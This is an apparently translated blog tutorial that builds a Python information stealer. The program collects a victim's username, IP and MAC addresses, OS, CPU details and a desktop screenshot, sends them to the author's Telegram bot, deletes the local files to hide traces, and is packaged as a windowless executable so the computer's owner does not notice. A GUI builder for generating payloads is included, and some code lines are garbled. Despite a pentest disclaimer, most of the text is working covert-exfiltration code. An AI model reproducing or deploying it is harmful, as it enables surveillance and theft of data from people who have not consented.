How to collacte data about pc remotely with python

Collecting system information remotely using Python

2 Shares
1
0
1

If you often deal with different computers, you certainly need an easy to use and fast tool to collect information about the system. Today I’m going to show you how to make a program that can remotely use Python to get some important data from your system or someone else’s system, from IP to CPU model, and send the collected data to Telegram.

To just see the IP address and other network settings, you have to go to the command line and run the ipconfig /all command. The situation is one of the most common ones for enumerators and remote shamans, but it’s at least quickly solvable. But if you have to collect a more serious set of information about the machine you are going to work with now, you can’t do without automation. That’s what we’ll do today.

Collecting system information remotely using Python

Keep in mind that this program can be used both to quickly gather information about your system and to steal identifying information from the victim’s computer. We are law-abiding citizens, so even though these are not passwords, but in order not to annoy law enforcement, all tests will be conducted on isolated virtual machines.

This article is written exclusively for pentesters (hackers who have permission to perform penetration testing). Unauthorized access to computer information is a crime. Neither the author of the article nor the editorial board of brain-upd.com is responsible for your actions.

Tools

First let’s figure out where we are going to write the code. You can code in standard Windows Notepad, but we will use a special IDE for Python – PyCharm. Installation and setup are as easy as two rubles: download the installer, run it and click “Next” as long as there is such a button.

We will also need Python. I’ll use version 3.9.0 – that works for sure.

Tasks

Let’s first outline what we plan to do. I plan to gather the following information:

  1. IP address.
  2. MAC Address.
  3. Username.
  4. Type of operating system.
  5. The speed of the system.
  6. Time.
  7. Screenshot.
  8. Internet connection speed.
  9. Processor model.

And all this will be sent directly to you in the cart through a special bot.

Why?

You’re probably wondering why you might need a MAC address or a processor model. These parameters change very, very rarely, so they are perfect for fingerprinting. Even if the user buys a faster Internet channel or changes the time zone, you can easily determine that you have already dealt with this computer. It is worth remembering that the same methods are used by cunning advertisers to identify users and by developers of trial versions of programs as well. This article will help you better understand what can be found out about your computer in fully automated mode, and how to apply this information is up to you.

In this article we will not show how to form a stable identifier, which will help to unambiguously identify a particular computer. If you get interested, write in the comments and maybe I’ll write a short article on the subject!

Laying the groundwork for the program

I decided to use a Telegram bot to send the data. You can create it through BotFather, and then save the token of your creation. You can’t publish it – anyone who gets this token will be able to seize control of your bot.
You only need two lines to connect to the Bot API of the “cart”:

port telebot
bot = telebot.TeleBot("token from BotFather") # Connect the bot

To evaluate the performance, you can write a couple more lines. All further code will be placed between them. The bot connection described above is already included here.

port telebot
from datetime import datetime
bot = telebot.TeleBot("token")
start = datetime.now() # Start of countdown
# This is where we'll put our base, so we'll leave room
ends = datetime.now() # End of countdown
workspeed = format(ends - start) # Time calculation

Now let’s move on to the actual data collection.

Data collection

import getpass
import os
import socket
from datetime import datetime
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
import psutil
import platform
from PIL import Image

Now let’s look briefly at what each module does. If you don’t need any functions, throw out the module import line and the code that uses that module. It’s as simple as that!

So, these 4 modules are responsible for working with the OS and local resources:

  1. Getpass is needed to determine user information;
  2. We use os to interact with OS functions, like calling external executable files;
  3. psutil works with some low-level system functions;
  4. The platform will provide information about the OS.

These modules are implemented by networking:

  • socket – to work with sockets and get IP addresses;
  • getnode gets the MAC address of the machine;
  • speedtest measures the characteristics of your Internet connection;
  • telebot will do all the routine work with the Telegram bot.

Service attachments that are hard to categorize above:

  • datetime will allow you to determine the running time of the program;
  • pyautogui works quickly and painlessly with the GUI;
  • PIL.Image – to take a screenshot.

After that we need to know the basic stable characteristics of the system: IP- and MAC-addresses, username and OS:

name = getpass.getuser()    # Имя пользователя
ip = socket.gethostbyname(socket.getfqdn())   # IP-адрес системы
mac = get_mac()   # MAC адрес
ost = platform.uname()    # Название операционной системы

The lines of code are commented and do not need to be explained.

Internet connection speed

from speedtest import Speedtest # Импорт модуля. Рассматривался выше
inet = Speedtest()
download = float(str(inet.download())[0:2] + "." # Входящая скорость
                + str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "."   # Исходящая скорость
                + str(round(inet.download(), 2))[1]) * 0.125

The speed is measured by the Speedtest.net service library and, accordingly, the result is in megabits, not megabytes. To fix this, divide the numerical result by 8 or multiply by 0.125, which is the same. We have to perform the manipulation twice – for incoming and outgoing speeds.

It is important to understand that the measurement is not intended to be super accurate, because there is no way we can easily check how much of the channel is being consumed by other programs or even other devices on the network. If you connect to a workstation remotely, your connection will also consume something. The program does not implement a correction for this because it is too low precision and labor-intensive.

Time zone and time

import psutil
zone = psutil.boot_time()
time = datetime.fromtimestamp(zone)

If you are setting up someone else’s server or too remote a computer, the time may be different. In case you didn’t know, an incorrect time and/or time zone can cause failures when connecting to sites using HTTPS, and this bit of code will make it easy to spot such problems.

Processor frequency

import psutil
cpu = psutil.cpu_freq()

It may help to identify the cause of sluggishness of the computer: if the processor is constantly running at full speed, but programs hang – the processor is obsolete, and if it is idle – the program is to blame. It can also give you a general idea about the hardware.

Deeper fingerprinting

This article deliberately does not tell you how to get the hard disk ID or GUID of the installed Windows: we are not writing a tutorial for advertisers, we are practicing programming. Nevertheless, you can easily add collection of such information using the wmic console utility as well. Its output can be parsed using a Python script, so you don’t even have to write extra wrappers. The screenshot shows an example of getting the BIOS serial number.

Collection data about other PC with python
Example of obtaining a BIOS serial number

Desktop screenshot

os.getcwd()
try:
    os.chdir(r"/temp/path")
except OSError:
    @bot.message_handler(commands=['start'])
    def start_message(message):
        bot.send_message(message.chat.id, "[Error]: Location not found!")
        bot.stop_polling()
    bot.polling()
    raise SystemExit
screen = pyautogui.screenshot("screenshot.jpg")

Here, too, everything is as simple as possible, and only the last line of code is responsible for actually taking the screenshot. We use the rest to process the incoming bot command correctly.

Writing to a file

Now that everything is ready, we can proceed to the final collection and sending of data. Create a finished file with our data: if maximal data collection was used, more precisely all the code above, then use such an entry, otherwise remove the data you don’t need:

try:
    os.chdir(r"/temp/path")
except OSError:
    @bot.message_handler(commands=['start'])
    def start_message(message):
        bot.send_message(message.chat.id, "[Error]: Location not found!")
        bot.stop_polling()
    bot.polling()
    raise SystemExit
file = open("info.txt", "w")
file.write(f"[================================================]\n  Operating System: {ost.system}\n  Processor: {ost.processor}\n  Username: {name}\n  IP adress: {ip}\n  MAC adress: {mac}\n  Timezone: {time.year}/{time.month}/{time.day} {time.hour}:{time.minute}:{time.second}\n  Work speed: {workspeed}\n  Download: {download} MB/s\n  Upload: {uploads} MB/s\n  Max Frequency: {cpu.max:.2f} Mhz\n  Min Frequency: {cpu.min:.2f} Mhz\n  Current Frequency: {cpu.current:.2f} Mhz\n[================================================]\n")
file.close()

Long, but easy to read code. The first part is handling the command /start, the second part is writing all the data to a file. The result will go into info.txt, but the path can of course be changed directly in the code.

It’s just a matter of sending the result to Telegram.

Sending data

Now let’s add the code above, so that it also sends files.

text = "Screenshot"
@bot.message_handler(commands=['start'])
def start_message(message):
    upfile = open("Path to file\info.txt", "rb")
    uphoto = open("Path to file\screenshot.jpg", "rb")
    bot.send_photo(message.chat.id, uphoto, text)
    bot.send_document(message.chat.id, upfile)
    upfile.close()
    uphoto.close()
    os.remove("info.txt")
    os.remove("screenshot.jpg")
    bot.stop_polling()
bot.polling()

First you specify a signature to the screenshot, then read and send files as a photo and document, then clean up the traces and close the connection with the bot. Nothing complicated!

Naturally, if we don’t need, for example, a screenshot, we can cut out the code for sending it, getting this option:

@bot.message_handler(commands=['start'])
def start_message(message):
    upfile = open("Path to file\info.txt", "rb")
    bot.send_document(message.chat.id, upfile)
    upfile.close()
    os.remove("info.txt")
    bot.stop_polling()
bot.polling()

To ensure that the bot sends all messages to you, specify the chat ID with yourself instead of message.chat.id. It can be found out through the GetMyID bot. Also note one detail: before you start the program, you must send your bot the /start command so that it knows who to send the data to.

Putting together a program

To avoid dragging Python and program dependencies with us to another computer, let’s pack everything into one executable file. This is done with PyInstaller, which is done with a simple pip install pyinstaller.

Use the command line to navigate to the folder with our program and build it with the command:

pyinstaller -i path_to_icon --onefile our_file.py

The –onefile argument will make PyInstaller pack everything into a single file. After -i you must specify the path to the executable icon if you want to use it. If you don’t want it, just delete this argument. Last is the path to our code file. If you don’t want to have a console on startup (if the owner of the computer doesn’t know you’re going to help him :D), change the extension of the input file with the code to .pyw or specify the -w option.

Don’t forget to check for modules and their updates to avoid errors. You can specify any temporary path, but personally I specify C:\Temp. Of course, if a Linux-based operating system is detected, this code will have to be corrected.

You should also check how strongly and what detects our file. So you do not have to go to VirusTotal, I did it myself.

Viustotal scan results for our script to collect data remotely
VirusTotal scan result

I placed the full code of the project on GitHub. There is also a builder program, which I will talk about below.

Writing an assembler with a graphical interface

To create the GUI builder, we have to work with the Tkinter library, so first of all we import it and the necessary elements:

# -- coding: utf-8 --# Don't forget to specify the configuration
from tkinter import *# The library itself to work with
from tkinter import messagebox as mb# Function for creating windows with information

After that, you need to create a window, which will be the basis of the interface:

root = Tk()
root.title("Tkinter") # Program name
root.geometry("300x400") # Program window resolution

We only need to enter the API-key to access the bot. This is done by the code below:

text = Label(root, text="Telegram bot token") # Text to label the field
text.grid(padx=100, pady=0) # x/y location
API = Entry(root, width=20) # Create data entry field
API.grid(padx=100, pady=0)

This will create two graphical objects – an input field and a caption for it.
This interface lacks a button to build the output file. Let’s create one:

button = Button(root, text="Create", command=clicked, height=2, width=10)
button.grid(padx=100, pady=0)

We create a function that should be in the file after importing the libraries. In it we have to create a file and write the payload code into it.

def clicked():
system = open("source.py", "w")
system.write(''Here we move the full code of the program we wrote before''')
system.close()

Don’t mess with spaces! Before you insert the code, make sure there are no extra spaces, otherwise you might get a hard-to-detect error.
But this is not the end of our function, because we need to let the user know if the file is ready. We do this with MessageBox:

if API.get() or direct.get() == "":
mb.showwarning("WARNING", "There are empty fields")
else:
mb.showinfo("INFO", "The system.py file is ready!")

Now all that’s left is to run the rendering and message processing with the string root.mainloop().

Optionally, you can also build the build interface. To do this, we use the good old PyInstaller:

pyinstaller -F -w --onefile program.py

And you’re all set! Now you have a complete program for collecting data about the system and its collector, which will speed up the process.

It’s not very convenient to use the PyInstaller every time to build a program. You can use the os module and call the PyInstaller automatically.

import os
os.system("pyinstaller --onefile our_file.py") # Build the output binary
os.rmdir("build")
os.rmdir("pycache")
os.remove("system.py")
os.remove("system.spec")

If you need an icon, you can add the parameter -i file.ico to the build command, and to build an “invisible” program add -w – just like a manual build!

Conclusion

In this article we have learned from start to finish how to pull some important data from your system or someone else’s, from IP to processor model. Of course, the main thing here is that you have learned to write some code yourself – and you can always apply it somewhere.

2 Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

You May Also Like